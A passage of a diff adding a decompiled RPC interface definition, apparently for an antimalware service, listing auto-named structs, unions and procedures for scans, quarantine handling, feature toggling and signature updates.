}Struct_954_t; + + typedef struct Struct_970_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + long StructMember1; + struct Struct_28_t StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + [switch_is(StructMember3)] union union_222 StructMember4; + }Struct_970_t; + + typedef [switch_type(long)] union union_1078 + { + [case(0)] [unique] struct Struct_110_t* unionMember_0; + [case(1)] [unique] struct Struct_1118_t* unionMember_1; + [case(2)] [unique] struct Struct_110_t* unionMember_2; + [case(3)] [unique] struct Struct_110_t* unionMember_3; + [case(4)] [unique] struct Struct_1156_t* unionMember_4; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_1078; + + + typedef struct Struct_1118_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + long StructMember5; + [unique] [string] wchar_t* StructMember6; + [unique] [string] wchar_t* StructMember7; + [unique] [string] wchar_t* StructMember8; + }Struct_1118_t; + + typedef struct Struct_1156_t + { + [unique] [string] wchar_t* StructMember0; + [unique] [string] wchar_t* StructMember1; + long StructMember2; + long StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + }Struct_1156_t; + + typedef struct Struct_1232_t + { + hyper StructMember0; + struct Struct_16_t StructMember1; + [unique] [string] wchar_t* StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + /* enum_32 : typedef [v1_enum] enum */ long StructMember5; + long StructMember6; + long StructMember7; + /* enum_32 : typedef [v1_enum] enum */ long StructMember8; + long StructMember9; + /* enum_32 : typedef [v1_enum] enum */ long StructMember10[6]; + long StructMember11; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember11)] /* */ struct Struct_476_t** StructMember12; + struct Struct_28_t StructMember13; + long StructMember14; + /* enum_32 : typedef [v1_enum] enum */ long StructMember15; + struct Struct_16_t StructMember16; + /* enum_32 : typedef [v1_enum] enum */ long StructMember17; + [switch_is(StructMember3)] union union_1078 StructMember18; + /* enum_32 : typedef [v1_enum] enum */ long StructMember19; + [unique] [string] wchar_t* StructMember20; + /* enum_32 : typedef [v1_enum] enum */ long StructMember21; + [unique] [string] wchar_t* StructMember22; + /* enum_32 : typedef [v1_enum] enum */ long StructMember23; + long StructMember24; + struct Struct_28_t StructMember25; + /* enum_32 : typedef [v1_enum] enum */ long StructMember26; + struct Struct_28_t StructMember27; + /* enum_32 : typedef [v1_enum] enum */ long StructMember28; + long StructMember29; + long StructMember30; + [unique] [string] wchar_t* StructMember31; + long StructMember32; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember32)] /* */ struct Struct_476_t** StructMember33; + long StructMember34; + /* enum_32 : typedef [v1_enum] enum */ long StructMember35; + long StructMember36; + long StructMember37; + long StructMember38; + }Struct_1232_t; + + typedef [switch_type(long)] union union_1370 + { + [case(1)] [unique] struct Struct_1232_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_1370; + + + typedef struct Struct_1382_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_1370 StructMember1; + }Struct_1382_t; + + typedef struct Struct_1434_t + { + long StructMember0; + [unique] [size_is(StructMember0)] hyper* StructMember1; + [unique] [size_is(StructMember0)] /* enum_32 : typedef [v1_enum] enum */ long* StructMember2; + }Struct_1434_t; + + typedef struct Struct_1516_t + { + hyper StructMember0; + struct Struct_28_t StructMember1; + }Struct_1516_t; + + typedef struct Struct_1536_t + { + struct Struct_1516_t StructMember0; + struct Struct_1516_t StructMember1; + struct Struct_1516_t StructMember2; + struct Struct_1516_t StructMember3; + struct Struct_1516_t StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + struct Struct_1516_t StructMember7; + struct Struct_1516_t StructMember8[4]; + }Struct_1536_t; + + typedef struct Struct_1682_t + { + long StructMember0; + hyper StructMember1; + [unique] [string] wchar_t* StructMember2; + long StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + long StructMember6; + [unique] [string] wchar_t* StructMember7; + }Struct_1682_t; + + typedef struct Struct_1740_t + { + long StructMember0; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)] /* */ struct Struct_1682_t** StructMember1; + }Struct_1740_t; + + typedef struct Struct_1872_t + { + long StructMember0; + long StructMember1; + [unique] [string] wchar_t* StructMember2; + }Struct_1872_t; + + typedef struct Struct_1920_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10; + long StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + long StructMember16; + long StructMember17; + long StructMember18; + long StructMember19; + long StructMember20; + }Struct_1920_t; + + typedef struct Struct_1978_t + { + long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + }Struct_1978_t; + + typedef struct Struct_2070_t + { + [unique] [string] wchar_t* StructMember0; + }Struct_2070_t; + + typedef [switch_type(long)] union union_2142 + { + [case(0)] [unique] struct Struct_2194_t* unionMember_0; + [case(1)] [unique] struct Struct_2208_t* unionMember_1; + [case(2)] [unique] struct Struct_2270_t* unionMember_2; + [case(3)] [unique] struct Struct_2300_t* unionMember_3; + [case(4)] [unique] struct Struct_2314_t* unionMember_4; + [case(5)] [unique] struct Struct_2356_t* unionMember_5; + [case(6)] [unique] struct Struct_2408_t* unionMember_6; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_2142; + + + typedef struct Struct_2194_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + }Struct_2194_t; + + typedef struct Struct_2208_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + [unique] [string] wchar_t* StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + hyper StructMember5; + long StructMember6; + struct Struct_16_t StructMember7; + hyper StructMember8; + [unique] [string] wchar_t* StructMember9; + struct Struct_28_t StructMember10; + hyper StructMember11; + struct Struct_28_t StructMember12; + hyper StructMember13; + hyper StructMember14; + hyper StructMember15; + hyper StructMember16; + hyper StructMember17; + hyper StructMember18; + }Struct_2208_t; + + typedef struct Struct_2270_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + [unique] [string] wchar_t* StructMember2; + [unique] [string] wchar_t* StructMember3; + hyper StructMember4; + }Struct_2270_t; + + typedef struct Struct_2300_t + { + struct Struct_28_t StructMember0; + }Struct_2300_t; + + typedef struct Struct_2314_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + hyper StructMember5; + struct Struct_28_t StructMember6; + hyper StructMember7; + struct Struct_28_t StructMember8; + hyper StructMember9; + }Struct_2314_t; + + typedef struct Struct_2356_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + }Struct_2356_t; + + typedef struct Struct_2408_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + long StructMember5; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember5)] /* */ struct Struct_916_t* StructMember6; + }Struct_2408_t; + + typedef struct Struct_2442_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_2142 StructMember1; + }Struct_2442_t; + + typedef struct Struct_2482_t + { + struct Struct_110_t StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + [unique] [string] wchar_t* StructMember2; + long StructMember3; + [unique] [size_is(StructMember3)] wchar_t* StructMember4; + long StructMember5; + [unique] [size_is(StructMember5)] wchar_t* StructMember6; + }Struct_2482_t; + + typedef struct Struct_2516_t + { + struct Struct_2442_t StructMember0; + struct Struct_2482_t StructMember1; + hyper StructMember2; + }Struct_2516_t; + + typedef struct Struct_2558_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + }Struct_2558_t; + + typedef struct Struct_2640_t + { + hyper StructMember0; + [unique] [string] wchar_t* StructMember1; + /* enum_32 : typedef [v1_enum] enum */ long StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + /* enum_32 : typedef [v1_enum] enum */ long StructMember5; + long StructMember6; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember6)] /* */ struct Struct_476_t** StructMember7; + long StructMember8; + long StructMember9; + }Struct_2640_t; + + typedef struct Struct_2672_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + long StructMember1; + hyper StructMember2; + }Struct_2672_t; + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_2680_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + struct Struct_2672_t StructMember1; + }Struct_2680_t; + + typedef struct Struct_2798_t + { + [unique] [string] wchar_t* StructMember0; + hyper StructMember1; + long StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + }Struct_2798_t; + + typedef struct Struct_2854_t + { + [unique] [string] wchar_t* StructMember0; + long StructMember1; + [unique] [string] wchar_t* StructMember2; + long StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + [unique] [string] wchar_t* StructMember6; + }Struct_2854_t; + + typedef struct Struct_2900_t + { + [unique] [string] wchar_t* StructMember0; + [unique] [string] wchar_t* StructMember1; + long StructMember2; + }Struct_2900_t; + + typedef struct Struct_2986_t + { + [unique] [string] wchar_t* StructMember0; + [unique] [string] wchar_t* StructMember1; + }Struct_2986_t; + + typedef struct Struct_3040_t + { + long StructMember0; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)] /* */ struct Struct_2986_t** StructMember1; + long StructMember2; + [unique] [size_is(StructMember2)] char* StructMember3; + hyper StructMember4; + long StructMember5; + }Struct_3040_t; + + typedef struct Struct_3108_t + { + struct Struct_16_t StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + }Struct_3108_t; + + typedef struct Struct_3166_t + { + [unique] [string] wchar_t* StructMember0; + long StructMember1; + hyper StructMember2; + }Struct_3166_t; + + typedef struct Struct_3220_t + { + struct Struct_3166_t StructMember0; + [unique] [string] wchar_t* StructMember1; + struct Struct_16_t StructMember2; + long StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + long StructMember5; + char StructMember6[32]; + }Struct_3220_t; + + typedef struct Struct_3280_t + { + [unique] [string] wchar_t* StructMember0; + }Struct_3280_t; + + typedef struct Struct_3302_t + { + long StructMember0; + [unique] struct Struct_3220_t* StructMember1; + [unique] struct Struct_3108_t* StructMember2; + }Struct_3302_t; + + typedef struct Struct_3350_t + { + long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + long StructMember2; + }Struct_3350_t; + + typedef struct Struct_3370_t + { + long StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + [unique] [string] wchar_t* StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + [unique] [string] wchar_t* StructMember6; + [unique] [string] wchar_t* StructMember7; + [unique] [string] wchar_t* StructMember8; + [unique] [string] wchar_t* StructMember9; + hyper StructMember10; + long StructMember11; + hyper StructMember12; + long StructMember13; + long StructMember14; + [unique] [string] wchar_t* StructMember15; + [unique] [string] wchar_t* StructMember16; + short StructMember17; + short StructMember18; + [unique] [string] wchar_t* StructMember19; + long StructMember20; + long StructMember21; + }Struct_3370_t; + + typedef [switch_type(long)] union union_3514 + { + [case(0)] [unique] struct Struct_3552_t* unionMember_0; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_3514; + + + typedef struct Struct_3552_t + { + hyper StructMember0; + long StructMember1; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember1)] /* */ struct Struct_476_t** StructMember2; + }Struct_3552_t; + + typedef struct Struct_3570_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_3514 StructMember1; + }Struct_3570_t; + + typedef [switch_type(long)] union union_3624 + { + [case(1)] [unique] struct Struct_3640_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_3624; + + + typedef struct Struct_3640_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + }Struct_3640_t; + + typedef struct Struct_3654_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_3624 StructMember1; + }Struct_3654_t; + + typedef [switch_type(long)] union union_3714 + { + [case(1)] [unique] struct Struct_3742_t* unionMember_1; + [case(2)] [unique] struct Struct_3762_t* unionMember_2; + [case(3)] [unique] struct Struct_3782_t* unionMember_3; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_3714; + + + typedef struct Struct_3742_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + }Struct_3742_t; + + typedef struct Struct_3762_t + { + [unique] struct Struct_3742_t* StructMember0; + long StructMember1; + }Struct_3762_t; + + typedef struct Struct_3782_t + { + [unique] struct Struct_3762_t* StructMember0; + long StructMember1; + hyper StructMember2; + }Struct_3782_t; + + typedef struct Struct_3800_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_3714 StructMember1; + }Struct_3800_t; + + typedef struct Struct_3824_t + { + long StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + }Struct_3824_t; + + typedef struct Struct_3880_t + { + long StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + [unique] [string] wchar_t* StructMember3; + }Struct_3880_t; + + typedef [switch_type(long)] union union_3928 + { + [case(1)] [unique] struct Struct_3944_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_3928; + + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_3944_t + { + long StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + }Struct_3944_t; + + typedef struct Struct_3958_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_3928 StructMember1; + }Struct_3958_t; + + typedef [switch_type(long)] union union_3992 + { + [case(1)] [unique] struct Struct_4044_t* unionMember_1; + [case(2)] [unique] struct Struct_4066_t* unionMember_2; + [case(3)] [unique] struct Struct_4086_t* unionMember_3; + [case(4)] [unique] struct Struct_4118_t* unionMember_4; + [case(5)] [unique] struct Struct_4142_t* unionMember_5; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_3992; + + + typedef struct Struct_4044_t + { + long StructMember0; + long StructMember1; + long StructMember2; + [unique] [size_is(StructMember2)] char* StructMember3; + }Struct_4044_t; + + typedef struct Struct_4066_t + { + struct Struct_4044_t StructMember0; + long StructMember1; + }Struct_4066_t; + + typedef struct Struct_4086_t + { + struct Struct_4066_t StructMember0; + long StructMember1; + }Struct_4086_t; + + typedef struct Struct_4118_t + { + struct Struct_4086_t StructMember0; + long StructMember1; + long StructMember2; + [unique] [size_is(StructMember2)] char* StructMember3; + }Struct_4118_t; + + typedef struct Struct_4142_t + { + struct Struct_4118_t StructMember0; + long StructMember1; + }Struct_4142_t; + + typedef struct Struct_4158_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_3992 StructMember1; + }Struct_4158_t; + + typedef struct Struct_4178_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + }Struct_4178_t; + + typedef struct Struct_4194_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + }Struct_4194_t; + + typedef struct Struct_4208_t + { + [unique] [string] wchar_t* StructMember0; + [unique] [string] wchar_t* StructMember1; + long StructMember2; + long StructMember3; + [unique] [string] wchar_t* StructMember4; + [unique] [string] wchar_t* StructMember5; + [unique] [string] wchar_t* StructMember6; + long StructMember7; + struct Struct_126_t StructMember8; + long StructMember9; + long StructMember10; + [unique] [string] wchar_t* StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + }Struct_4208_t; + + typedef [switch_type(long)] union union_4280 + { + [case(1)] [unique] struct Struct_4296_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_4280; + + + typedef struct Struct_4296_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + hyper StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + }Struct_4296_t; + + typedef struct Struct_4314_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_4280 StructMember1; + }Struct_4314_t; + + typedef struct Struct_4334_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + long StructMember3; + long StructMember4; + [unique] [string] wchar_t* StructMember5; + [unique] [string] wchar_t* StructMember6; + [unique] [string] wchar_t* StructMember7; + [unique] [string] wchar_t* StructMember8; + [unique] [string] wchar_t* StructMember9; + [unique] [string] wchar_t* StructMember10; + [unique] [string] wchar_t* StructMember11; + [unique] [string] wchar_t* StructMember12; + [unique] [string] wchar_t* StructMember13; + [unique] [string] wchar_t* StructMember14; + [unique] [string] wchar_t* StructMember15; + [unique] [string] wchar_t* StructMember16; + [unique] [string] wchar_t* StructMember17; + [unique] [string] wchar_t* StructMember18; + [unique] [string] wchar_t* StructMember19; + [unique] [string] wchar_t* StructMember20; + [unique] [string] wchar_t* StructMember21; + [unique] [string] wchar_t* StructMember22; + [unique] [string] wchar_t* StructMember23; + [unique] [string] wchar_t* StructMember24; + [unique] [string] wchar_t* StructMember25; + [unique] [string] wchar_t* StructMember26; + [unique] [string] wchar_t* StructMember27; + [unique] [string] wchar_t* StructMember28; + [unique] [string] wchar_t* StructMember29; + }Struct_4334_t; + + typedef [switch_type(long)] union union_4494 + { + [case(1)] [unique] struct Struct_4510_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_4494; + + + typedef struct Struct_4510_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + hyper StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + hyper StructMember5; + [unique] wchar_t* StructMember6; + }Struct_4510_t; + + typedef struct Struct_4530_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_4494 StructMember1; + }Struct_4530_t; + + typedef [switch_type(long)] union union_4580 + { + [case(1)] [unique] struct Struct_4620_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_4580; + + + typedef struct Struct_4620_t + { + [unique] [size_is(StructMember1)] char* StructMember0; + long StructMember1; + [unique] [size_is(StructMember3)] char* StructMember2; + long StructMember3; + hyper StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + }Struct_4620_t; + + typedef struct Struct_4650_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_4580 StructMember1; + }Struct_4650_t; + + typedef [switch_type(long)] union union_4688 + { + [case(1)] [unique] struct Struct_4704_t* unionMember_1; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_4688; + + + typedef struct Struct_4704_t + { + [unique] [string] wchar_t* StructMember0; + long StructMember1; + /* enum_32 : typedef [v1_enum] enum */ long StructMember2; + [unique] [string] wchar_t* StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + /* enum_32 : typedef [v1_enum] enum */ long StructMember5; + [unique] [string] wchar_t* StructMember6; + /* enum_32 : typedef [v1_enum] enum */ long StructMember7; + }Struct_4704_t; + + typedef struct Struct_4734_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [switch_is(StructMember0)] union union_4688 StructMember1; + }Struct_4734_t; + + typedef struct Struct_4778_t + { + long StructMember0; + [unique] [size_is(StructMember0)] char* StructMember1; + }Struct_4778_t; + + typedef struct Struct_4838_t + { + long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + /* enum_32 : typedef [v1_enum] enum */ long StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + long StructMember4; + long StructMember5; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember4)] /* */ struct Struct_4778_t** StructMember6; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember5)] /* */ struct Struct_4778_t** StructMember7; + }Struct_4838_t; + + typedef struct Struct_4886_t + { + long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + long StructMember2; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember2)] /* */ struct Struct_4838_t** StructMember3; + }Struct_4886_t; + + typedef struct Struct_4918_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + struct Struct_16_t StructMember1; + long StructMember2; + char StructMember3[16]; + long StructMember4; + char StructMember5; + short StructMember6; + short StructMember7; + short StructMember8; + short StructMember9; + }Struct_4918_t; + + long Proc0_ServerMpEnableFeature( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [out]error_status_t* arg_3); + + long Proc1_ServerMpDisableFeature( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc2_ServerMpQueryStatus( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [out]struct Struct_144_t* arg_3, + [out]error_status_t* arg_4); + + long Proc3_ServerMpEventOpen( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_3, + [in]long arg_4, + [out]struct Struct_16_t* arg_5, + [out][context_handle] void** arg_6, + [out]error_status_t* arg_7); + + long Proc4_ServerMpEventClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc5_ServerMpEventQueryNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc6_ServerMpOnDemandStartScan( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in]long arg_3, + [in]long arg_4, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_4)] /* */ struct Struct_476_t* arg_5, + [in]long arg_6, + [out]struct Struct_16_t* arg_7, + [out][context_handle] void** arg_8, + [out]error_status_t* arg_9); + + long Proc7_ServerMpOnDemandQueryNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc8_ServerMpOnDemandQueryScanResult( + [in][context_handle] void* arg_0, + [out]struct Struct_78_t* arg_1, + [out]error_status_t* arg_2); + + long Proc9_ServerMpOnDemandControlScan( + [in][context_handle] void* arg_0, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc10_ServerMpOnDemandControlSystemScan( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc11_ServerMpOnDemandPersistScan( + [in][context_handle] void* arg_0, + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc12_ServerMpOnDemandCloseScan( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc13_ServerMpOnDemandThreatOpen( + [in][context_handle] void* arg_0, + [out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc14_ServerMpOnDemandThreatEnum( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_1232_t** arg_1, + [out]error_status_t* arg_2); + + long Proc15_ServerMpOnDemandThreatClose( + [in][context_handle] void* arg_0, + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc16_ServerMpScanOpenThreatHistory( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [out][context_handle] void** arg_3, + [out]error_status_t* arg_4); + + long Proc17_ServerMpScanEnumerateThreatHistory( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_1232_t** arg_1, + [out]error_status_t* arg_2); + + long Proc18_ServerMpScanEnumerateDetectionHistory( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_1382_t** arg_1, + [out]error_status_t* arg_2); + + long Proc19_ServerMpScanCloseThreatHistory( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc20_ServerMpScanDeleteThreatHistory( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc21_ServerMpRpcCleanOpen( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in][unique]struct Struct_1434_t* arg_2, + [in]long arg_3, + [out][context_handle] void** arg_4, + [out]error_status_t* arg_5); + + long Proc22_ServerMpRpcScanCleanOpen( + [in][context_handle] void* arg_0, + [in][unique]struct Struct_1434_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc23_ServerMpRpcCleanStart( + [in][context_handle] void* arg_0, + [in]long arg_1, + [out]struct Struct_16_t* arg_2, + [out]error_status_t* arg_3); + + long Proc24_ServerMpRpcCleanControl( + [in][context_handle] void* arg_0, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc25_ServerMpRpcCleanThreatsNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc26_ServerMpRpcPrecheckStart( + [in][context_handle] void* arg_0, + [in]long arg_1, + [out]struct Struct_16_t* arg_2, + [out]error_status_t* arg_3); + + long Proc27_ServerMpRpcPrecheckNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc28_ServerMpRpcCleanQuery( + [in][context_handle] void* arg_0, + [out]struct Struct_16_t* arg_1, + [out]error_status_t* arg_2); + + long Proc29_ServerMpRpcCleanClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc30_MpService__CMpMapsLatencyDataIterator__Clone( + [in]long arg_1, + [in]long arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); + + long Proc31_MpService__CMpMapsLatencyDataIterator__Clone( + [in]long arg_1, + [in]long arg_2, + [in]long arg_3, + [in]long arg_4, + [out]error_status_t* arg_5); + + long Proc32_MpService__CMpMapsLatencyDataIterator__Clone( + [in]long arg_1, + [in]hyper arg_2, + [in]long arg_3, + [in]long arg_4, + [out]error_status_t* arg_5); + + long Proc33_MpService__CMpMapsLatencyDataIterator__Clone( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); + + long Proc34_ServerMpQuarantineEnumOpen( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc35_ServerMpQuarantineEnumerate( + [in][context_handle] void* arg_0, + [out]struct Struct_16_t* arg_1, + [out]error_status_t* arg_2); + + long Proc36_ServerMpQuarantineEnumClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc37_ServerMpQuarantineQueryInfo( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]struct Struct_16_t* arg_2, + [out][ref]struct Struct_1232_t** arg_3, + [out]error_status_t* arg_4); + + long Proc38_ServerMpQuarantineRestoreThreat( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [in]struct Struct_16_t* arg_3, + [in][string] wchar_t* arg_4, + [out]error_status_t* arg_5); + + long Proc39_ServerMpQuarantineDeleteThreat( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]struct Struct_16_t* arg_2, + [out]error_status_t* arg_3); + + long Proc40_ServerMpStateEnumOpen( + [out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc41_ServerMpQueryEngineVersion( + [out]struct Struct_1536_t* arg_1, + [out]error_status_t* arg_2); + + long Proc42_ServerMpUpdateEngineSignature( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in][string] wchar_t* arg_2, + [out]error_status_t* arg_3); + + long Proc43_ServerMpRollbackEngineSignature( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [out]error_status_t* arg_3); + + long Proc44_ServerMpThreatStaticInfo( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]hyper arg_2, + [out][ref]struct Struct_1232_t** arg_3, + [out]error_status_t* arg_4); + + long Proc45_ServerMpQuerySystemInfo( + [in]struct Struct_16_t* arg_1, + [in]long arg_2, + 